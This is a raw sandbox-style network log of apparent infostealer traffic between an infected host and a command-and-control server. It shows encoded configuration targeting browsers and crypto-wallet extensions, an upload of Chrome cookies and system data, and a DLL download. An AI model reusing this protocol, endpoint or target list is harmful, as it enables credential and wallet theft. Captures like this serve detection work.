Oct 24, 2024 08:38:27.947283983 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 51 79 59 32 4e 69 59 6d 55 35 4f 47 4e 6a 59 54 46 6c 59 57 49 33 5a 57 55 34 4d 44 41 32 5a 44 5a 6d 4e 54 55 77 4e 57 4d 34 5a 6a 56 6c 4f 57 49 32 4d 47 5a 6c 59 32 49 34 4d 7a 51 7a 4f 44 63 31 4d 6a 42 6b 4d 6a 6b 77 4f 44 41 35 4e 47 51 77 4d 6a 68 6d 4d 44 59 32 4e 6d 5a 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmQyY2NiYmU5OGNjYTFlYWI3ZWU4MDA2ZDZmNTUwNWM4ZjVlOWI2MGZlY2I4MzQzODc1MjBkMjkwODA5NGQwMjhmMDY2NmZmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 08:38:27.952359915 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="message"browsers------DAAFIIJDAAAAKFHIDAAA--
Oct 24, 2024 08:38:28.228460073 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:28 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 24, 2024 08:38:28.228486061 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 24, 2024 08:38:28.231925011 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"plugins------AFCAAEGDBKJJKECBKFHC--
Oct 24, 2024 08:38:28.508177996 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:28 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 08:38:28.508192062 CEST	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 24, 2024 08:38:28.508213997 CEST	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 24, 2024 08:38:28.508229017 CEST	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 24, 2024 08:38:28.508244038 CEST	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 24, 2024 08:38:28.508260012 CEST	636	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 24, 2024 08:38:28.508744001 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 24, 2024 08:38:28.508759975 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 24, 2024 08:38:28.510076046 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"fplugins------BGDAAEHDHIIJKECBKEBA--
Oct 24, 2024 08:38:28.785712004 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:28 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 08:38:28.807631969 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.37 Content-Length: 6563 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:38:28.807672977 CEST	6563	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 08:38:29.605294943 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:30.389502048 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:30.663578033 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:30 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 24, 2024 08:38:30.663609982 CEST	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 24, 2024 08:38:34.865775108 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; 